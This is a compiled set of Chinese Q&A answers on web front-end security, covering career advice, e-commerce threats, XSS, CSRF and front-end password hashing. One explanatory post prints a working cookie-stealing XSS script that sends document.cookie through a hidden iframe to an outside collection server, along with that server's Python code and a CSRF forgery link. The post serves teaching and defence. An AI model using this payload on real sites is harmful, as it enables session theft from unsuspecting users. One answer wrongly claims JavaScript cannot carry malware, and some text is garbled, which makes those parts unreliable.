① 女孩子做安全性测试还是web前端开发
可以选择信息安全，安全开发，信息安全已经上升为国家战略。
可以做安全行测试，未来发展前景好，发展优势明显。
② 电商网站开发中前端有哪些安全性的问题要解决
电子商务简单的说就是利用Internet进行的交易活动，电子商务："电子"+"商务"，从电子商务的定义可以了解电子商务的安全也就相应的分为两个方面的安全：一方面是"电子"方面的安全，就是电子商务的开展必须利用Internet来进行，而Internet本身也属于计算机网络，所以电子商务的第一个方面的安全就是计算机网络的安全，它包括计算机网络硬件的安全与计算机网络软件的安全，计算机网络存在着很多安全威胁，也就给电子商务带来了安全威胁；另一方面是"商务"方面的安全，是把传统的商务活动在Internet上开展时，由干Internet存着很多安全隐患给电子商务带来了安全威胁，简称为"商务交易安全威胁"。这两个方面的安全威胁也就给电子商务带来了很多安全问题：
（一）计算机网络安全威胁
电子商务包含"三流"：信息流、资金流、物流，"三流"中以信息流为核心为最重要，电子商务正是通过信息流为带动资金流、物流的完成。电子商务跟传统商务的最重要的区别就是以计算机网络来传递信息，促进信息流的完成。计算机网络的安全必将影响电子商务中的"信息流"的传递，势必影响电子商务的开展。计算机网络存在以下安全威胁：
1、黑客攻击
黑客攻击是指黑客非法进入网络，非法使用网络资源。随着互联网的发展，黑客攻击也是经常发生，防不胜防，黑客利用网上的任何漏洞和缺陷修改网页、非法进入主机、窃取信息等进行相关危害活动。2003年，仅美国国防部的"五角大楼"就受到了了230万次对其网络的尝试性攻击。从这里可以看出，目前黑客攻击已成为了电子商务中计算机网络的重要安全威胁。
2、计算机病毒的攻击
病毒是能够破坏计算机系统正常进行，具有传染性的一段程序。随着互联网的发展，病毒利用互联网，使得病毒的传播速度大大加快，它侵入网络，破坏资源，成为了电子商务中计算机网络的又一重要安全威胁。
3、拒绝服务攻击
拒绝服务攻击（DoS）是一种破坏性的攻击，它是一个用户采用某种手段故意占用大量的网络资源，使系统没有剩余资源为其他用户提供服务的攻击。目前具有代表性的拒绝服务攻击手段包括SYNflood、ICMPflood、UDPflood等。随着互联网的发展，拒绝服务攻击成为了网络安全中的重要威胁。
（二）商务交易安全威胁
把传统的商务活动在Internet上进行，由于Internet本身的特点，存在着很多安全威胁，给电子商务带来了安全问题。Internet的产生源于计算机资源共享的需求，具有很好的开放性，但正是由子它的开放性，使它产生了更严重的安全问题。Internet存在以下安全隐患：
1、开放性
开放性和资源共享是Internet最大的特点，但它的问题却不容忽视的。正是这种开放性给电子商务带来了安全威胁。
2、缺乏安全机制的传输协议
TCP／IP协议是建立在可信的环境之下，缺乏相应的安全机制，这种基于地址的协议本身就会泄露口令，根本没有考虑安全问题；TCP／IP协议是完全公开的，其远程访问的功能使许多攻击者无须到现场就能够得手，连接的主机基于互相信任的原则等这些性质使网络更加不安全。
3、软件系统的漏洞
随着软件系统规模的不断增大，系统中的安全漏洞或"后门"也不可避免的存在。如cookie程序、JAVA应用程序、IE浏览器等这些软件与程序都有可能给我们开展电子商务带来安全威胁。
4、信息电子化
电子化信息的固有弱点就是缺乏可信度，电子信息是否正确完整是很难由信息本身鉴别的，而且在Internet传递电子信息，存在着难以确认信息的发出者以及信息是否被正确无误地传递给接收方的问题。
（三）计算机网络安全威胁与商务交易安全威胁给电子商务带来的安全问题
1、信息泄露
在电子商务中表现为商业机密的泄露，以上计算机网络安全威胁与Internet的安全隐患可能使得电子商务中的信息泄漏，主要包括两个方面：（1）交易一方进行交易的内容被第三方窃取。（2）交易一方提供给另一方使用的文件第三方非法使用。
2、篡改
正是由于以上计算机网络安全威胁与Internet的安全隐患，电子的交易信息在网络上传输的过程中，可能被他人非法地修改、删除或重放（指只能使用一次的信息被多次使用），这样就使信息失去了真实性和完整性。
3、身份识别
正是由于电子商务交易中交易两方通过网络来完成交易，双方互不见面、互不认识，计算机网络的安全威胁与Internet的安全隐患，也可能使得电子商务交易中出现身交易身份伪造的问题。
4、信息破坏
计算机网络本身容易遭到一些恶意程序的破坏，如计算机病毒、特洛伊木马程序、逻辑炸弹等，导致电子商务中的信息在传递过程被破坏。
5、破坏信息的有效性
电子商务中的交易过程中是以电子化的信息代替纸面信息，这些信息我们也必须保证它的时间的有效与本身信息的有效，必须能确认该信息确是由交易一方签发的，计算机网络安全威胁与Internet的安全隐患，使得我们很难保证电子商务中的信息有效性。
6、泄露个人隐私
隐私权是参与电子商务的个人非常关心的一个问题。参与到电子商务中的个人就必须提供个人信息，计算机网络安全威胁与Internet的安全隐患有可能导致个人信息泄露，破坏到个人隐私。
③ 前端存在哪些安全问题
1. XSS
2. sql 注入
3. CSRF：是跨站请求伪造，很明显根据刚刚的解释，他的核心也就是请求伪造，通过伪造身份提交 POST 和 GET 请求来进行跨域的攻击
完成 CSRF 需要两个步骤：
1. 登陆受信任的网站 A，在本地生成 COOKIE
2. 在不登出 A 的情况下，或者本地 COOKIE 没有过期的情况下，访问危险网站 B。
你可以去后盾人平台看看，里面的东西不错
④ 前端安全方面有没有了解xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题&content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" /> 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
⑤ 对前端安全的理解，有什么，怎么防范
比如用户可控输入经过了js，就更容易造成xss，容易理解的比如token暴露在前端代码就是不行的
⑥ 初学JavaScript,对js的安全问题
JavaScript的安全性指抄的不是代码安全，指的是操作安全，因为JavaScript没有访问操袭作系统的权限，所以不能操作文件和注册表等系统资源百，从而不能用来制造度病毒和木马。
关于JavaScript的代码安全性，你可以把代码文知件存在服务器端，在页面道中引用代码的时候应用服务器端的代码文件
⑦ web前端和web安全有联系吗
1、web安全主要是针对网站、数据库这一类的互联网网站攻击行为的防御。
2、前端、后端、数据库、网络等,与Web安全都有关系
⑧ Web前端密码加密是否有意义
密码在前端加密完全没有意义，对密码系统的安全性不会有任何提高，反而会引发不必要的麻烦。首先，做前端开发的人需要知道，前端系统的控制权是完全在用户手里的，也就是说，前端做什么事情，用户有完全的控制权。假设如同 @陈轩所说，前端做过了md5，后台就不用做了，这个做法会有什么后果？如果某一天，这个系统的数据库泄露了，黑客就直接拿到了每个用户的密码md5值，但此时，由于黑客知道密码是在前端进行哈希的，所以他不需要爆破出该md5对应的原文是什么，而是直接修改客户端向服务器发出的请求，把密码字段换成数据库中MD5就可以了，由于与数据库中记录一致，直接就会登录成功。这跟直接存储明文密码没有任何区别！！！所以不管前端是不是加密了密码，后台使用安全的哈希算法对内容再次转换是非常有必要的。（MD5可不行，要用bcrypt，我之前回答过一个类似的：随着显卡性能的高速发展，目前的快速Hash算法是否已经变得不够安全了？）这个回答还有一个人赞同，希望大家别被错误答案误导了。另外一个答案 @林鸿所说，在非安全HTTP连接上，可以防止原始密码被窃听。但问题在于由于你的登录系统接受的哈希过的密码，而不是原文，窃听者根本不需要原始密码，只要通过哈希结果就可以伪造请求登录系统。这样做只能防止被窃听到原文的密码被攻击者用在社会学攻击上，而不能改善该网站的安全性。所以不管前端是不是加密了密码，使用HTTPS安全连接进行登录都是非常有必要的。以上我说的两点，合起来看就是：不管前端是否加密了密码，都不能以此为假设，让后端设计的安全等级下降，否则就会有严重的安全问题。实际上，前端进行密码加密，可以看做帮助用户多进行了一次原文的转换，不管用了什么加密算法，算出来的结果都是密码原文，你该如何保护用户的原始密码，就该如何保护此处的加密结果，因为对你的登录系统来说，它们都是密码原文。以上这些，说明了密码加密是没有什么意义的，接下来，我要说明前端加密会带来什么问题。有些人会认为前端进行了加密，可以降低后台的安全性需求，这种错误的观念会造成系统的安全漏洞。实际上，你不能对前端做任何的假设，所有跟安全相关的技术，都必须应用在后台上。前端进行加密会造成页面需要js脚本才能运行，那么假设你的系统需要兼容不能运行js的客户端，就必须再设计一个使用原文的登录接口。由于前端是不是加密，所有安全机制都必须照常应用，所以为系统增加这样的复杂性是完全没必要的，即使传输明文密码，只要正确使用了HTTPS连接和服务器端安全的哈希算法，密码系统都可以是很安全的。
⑨ Web安全是前端还是后端安全居多，Web安全工程师是前端后端一起搞的吗
您好：大多数安全问题都是以数据为中心，也包括web安全，后端来说存储的隐秘系统更多一些，虽然大部分漏洞问题都发生在后端，但是前端也会存在一些安全问题，比如XSS跨站，所以WEB安全工程师前后端都需要会一些。